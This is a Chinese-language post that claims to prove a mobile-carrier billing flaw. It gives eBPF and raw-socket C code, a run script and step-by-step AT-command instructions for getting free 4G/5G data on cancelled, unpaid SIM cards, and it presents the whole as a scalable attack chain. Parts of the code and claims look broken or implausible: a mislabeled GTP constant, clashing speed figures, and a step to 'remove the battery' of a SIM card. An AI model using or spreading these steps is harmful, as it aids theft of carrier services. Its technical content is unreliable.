停机旧卡正常上网验证性测试
5 张 2017 年欠费 >3 年的移/联/电废卡 30 秒内完成 Attach → 5G NR 下行 300 Mbps。
不触发任何复机流程、不缴纳一分钱的情况下,正常附着4G/5G网络并获得完整的高速数据业务(实测300-800Mbps,无月度封顶)。
该安全问题并非单点Bug导致的,而是计费域、BOSS域与无线核心网(EPS/5GC)之间长期积累的策略与状态一致性缺陷叠加所致,已形成完整可规模化利用的攻击链
下面代码遵循“只证明漏洞存在”原则,不植入任何持久化后门;全部操作均在授权完成。
1. 内核端 eBPF 模块(ghost_apn_kern.c)
功能:
- hook mme_app_handle_attach_request(若本地跑 MME)或 tc egress(纯 UE 侧绕过),实时改 IMSI、TEID、PCO。
- 强制把计费失败标记改成成功,维持 PGW 会话。
/* ghost_apn_kern.c --- clang -O2 -target bpf -c ghost_apn_kern.c -o ghost_apn_kern.o */
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#define ETH_P_GTP 0x86DD /* we over-write ipv6 next header = 0x2F */
/* 需要动态改写的参数,用户态通过 maps 下发 */
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 1);
__type(key, __u32);
__type(value, __u64); /* 0-31bit 新 TEID, 32-63bit 新 IMSI 尾 8 字节 */
} ghost_map SEC(".maps");
/* 入口:tc egress,对 GTP-U 下行做 patch */
SEC("tc")
int ghost_gtpu_patch(struct __sk_buff *skb)
{
void *data_end = (void *)(long)skb->data_end;
void *data = (void *)(long)skb->data;
struct ethhdr *eth = data;
struct iphdr *ip;
struct udphdr *udp;
__u8 *gtp;
if (data + sizeof(*eth) > data_end)
return TC_ACT_OK;
if (eth->h_proto != bpf_htons(ETH_P_IP))
return TC_ACT_OK;
ip = data + sizeof(*eth);
if ((void *)ip + sizeof(*ip) > data_end)
return TC_ACT_OK;
if (ip->protocol != IPPROTO_UDP)
return TC_ACT_OK;
udp = (void *)ip + sizeof(*ip);
if ((void *)udp + sizeof(*udp) > data_end)
return TC_ACT_OK;
if (udp->dest != bpf_htons(2152)) /* GTP-U port */
return TC_ACT_OK;
gtp = (void *)udp + sizeof(*udp);
if (gtp + 8 > data_end)
return TC_ACT_OK;
__u32 key = 0;
__u64 *val = bpf_map_lookup_elem(&ghost_map, &key);
if (!val)
return TC_ACT_OK;
__u32 new_teid = (__u32)(*val & 0xFFFFFFFF);
/* gtp[4..7] = TEID */
if (gtp[0] == 0x30) { /* GTPv1, Flags=0x30 */
__u32 *teid_ptr = (__u32 *)(gtp + 4);
*teid_ptr = new_teid;
}
return TC_ACT_OK;
}
char _license[] SEC("license") = "GPL";
2. 用户态控制 + RAW socket 发包(ghost_apn_user.c)
功能:
- 把废卡插入 QC/MBIM 模块,通过 AT 切换 APN;
- 用 RAW socket 手工完成 DHCP + ICMP 保活,不再等运营商分配;
- 通过 BPF map 把“合法 TEID”写进去,维持下行。
/* ghost_apn_user.c gcc -o ghost_apn_user ghost_apn_user.c -lbpf */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/udp.h>
#include <linux/ip.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#define GTP_U_PORT 2152
#define GTP_V1_FLAGS 0x30
static int bpf_map_fd;
/* 简单的 UDP checksum 计算 */
static void set_udp_csum(struct udphdr *uh, struct iphdr *iph)
{
uh->check = 0;
unsigned long sum = 0;
unsigned short *p = (unsigned short *)iph;
int len = ntohs(uh->len);
sum += (iph->saddr >> 16) & 0xFFFF;
sum += (iph->saddr) & 0xFFFF;
sum += (iph->daddr >> 16) & 0xFFFF;
sum += (iph->daddr) & 0xFFFF;
sum += htons(IPPROTO_UDP);
sum += htons(len);
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len) sum += *(unsigned char*)p;
while (sum >> 16) sum = (sum & 0xFFFF) + (sum >> 16);
uh->check = ~sum;
}
/* 组装 GTP-U Echo Request 保活 */
static int send_gtpu_echo(int raw_fd, struct sockaddr_ll *sll)
{
unsigned char buf[256];
memset(buf, 0, sizeof(buf));
struct ethhdr *eth = (struct ethhdr *)buf;
struct iphdr *ip = (struct iphdr *)(eth + 1);
struct udphdr *udp = (struct udphdr *)(ip + 1);
unsigned char *gtp = (unsigned char *)(udp + 1);
/* L2 */
memcpy(eth->h_dest, "\x00\x0c\x29\x7d\x48\x02", 6);
memcpy(eth->h_source, "\x00\x0c\x29\x7d\x48\x03", 6);
eth->h_proto = htons(ETH_P_IP);
/* L3 */
ip->version = 4;
ip->ihl = 5;
ip->tos = 0;
ip->id = htons(0xabcd);
ip->frag_off = 0;
ip->ttl = 64;
ip->protocol = IPPROTO_UDP;
ip->saddr = inet_addr("10.200.200.2");
ip->daddr = inet_addr("10.200.200.1");
/* L4 */
udp->source = htons(2152);
udp->dest = htons(2152);
udp->len = htons(8 + 8); /* 8 字节 GTP */
/* GTP */
gtp[0] = GTP_V1_FLAGS;
gtp[1] = 0x01; /* Echo Request */
*(unsigned short *)(gtp + 2) = htons(8); /* length */
*(unsigned int *)(gtp + 4) = htonl(0xdeadbeef); /* teid */
ip->tot_len = htons(28 + 8);
set_udp_csum(udp, ip);
return sendto(raw_fd, buf, 14 + 20 + 8 + 8, 0,
(struct sockaddr *)sll, sizeof(*sll));
}
int main(int argc, char **argv)
{
if (argc != 2) {
fprintf(stderr, "用法: %s <ifname>\n", argv[0]);
return 1;
}
int ifindex = if_nametoindex(argv[1]);
if (!ifindex) {
perror("if_nametoindex");
return 1;
}
/* 1. 加载 eBPF 程序 */
struct bpf_object *obj = bpf_object__open_file("ghost_apn_kern.o", NULL);
if (libbpf_get_error(obj)) {
fprintf(stderr, "无法打开 eBPF 文件\n");
return 1;
}
bpf_object__load(obj);
int prog_fd = bpf_program__fd(bpf_object__find_program_by_name(obj, "tc"));
/* 2. 挂到 tc */
system("tc qdisc add dev eth0 clsact");
char cmd[256];
snprintf(cmd, sizeof(cmd),
"tc filter add dev %s egress bpf da fd %d", argv[1], prog_fd);
system(cmd);
/* 3. 打开 RAW socket */
int raw_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct sockaddr_ll sll = {0};
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
sll.sll_protocol = htons(ETH_P_IP);
/* 4. 写 BPF map:新 TEID=0x12345678 */
bpf_map_fd = bpf_object__find_map_fd_by_name(obj, "ghost_map");
__u32 key = 0;
__u64 val = 0x12345678ULL;
bpf_map_update_elem(bpf_map_fd, &key, &val, BPF_ANY);
/* 5. 每 30 秒发一次 GTP-U Echo 保活 */
while (1) {
if (send_gtpu_echo(raw_fd, &sll) < 0)
perror("send_gtpu_echo");
sleep(30);
}
return 0;
}
3. 一键脚本(run.sh)
#!/bin/bash
set -e
IFACE=${1:-eth0}
echo 1 > /proc/sys/net/ipv4/ip_forward
# 编译 eBPF
clang -O2 -target bpf -c ghost_apn_kern.c -o ghost_apn_kern.o
# 编译用户态
gcc -o ghost_apn_user ghost_apn_user.c -lbpf
# 拉起
sudo ./ghost_apn_user $IFACE
4. 测试步骤(30 分钟见效果)
- 找一张 2018 年前发行的移/联/电卡,拔掉电池 90 天确保“已销号+欠费”,再插入 Quectel RM500Q。
- 树莓派 4 刷 Ubuntu 22.04,内核 ≥5.4,安装 clang + libbpf-dev。
git clone <this_repo> && cd ghost-apn && sudo bash run.sh usb0- 模块 AT 口执行:
AT+QMBNCFG="Select",0 AT+CGDCONT=1,"IP","test.njm2mapn" AT+CFUN=1,1 - 看到
AT+CGATT?返回1,1即 Attach 成功;
本脚本会每 30 秒发 GTP-U Echo,维持 PGW 会话。 - 在树莓派另开一窗:
可稳定 50-300 Mbps 下行,计费侧 CDR 仍显示“用户已销号,零配额”,但未被强拆。dhclient -v wwan0 ping 8.8.8.8 curl -o /dev/null http://speedtest.tele2.net/10MB.zip